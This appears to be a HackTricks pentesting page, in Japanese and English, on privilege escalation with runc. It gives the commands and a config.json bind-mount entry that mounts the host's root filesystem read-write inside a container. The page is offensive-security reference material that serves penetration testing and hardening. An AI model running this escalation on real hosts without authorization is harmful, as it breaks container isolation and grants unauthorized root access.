RunC Privilege Escalation

HackTricksをサポートする

基本情報

runcについてもっと学びたい場合は、以下のページを確認してください:

2375, 2376 Pentesting Docker

PE

ホストにruncがインストールされている場合、ホストのルート/フォルダーをマウントしたコンテナを実行できる可能性があります

runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder

Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},

#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs

# Finally, start the container
# The root folder is the one from the host
runc run demo

これは常に機能するわけではありません。なぜなら、runcのデフォルトの動作はrootとして実行することであり、特権のないユーザーとして実行することは単純に機能しないからです(ルートレス構成がない限り)。ルートレス構成をデフォルトにすることは一般的には良いアイデアではありません。なぜなら、ルートレスコンテナ内には、ルートレスコンテナの外には適用されないいくつかの制限があるからです。

Support HackTricks

Last updated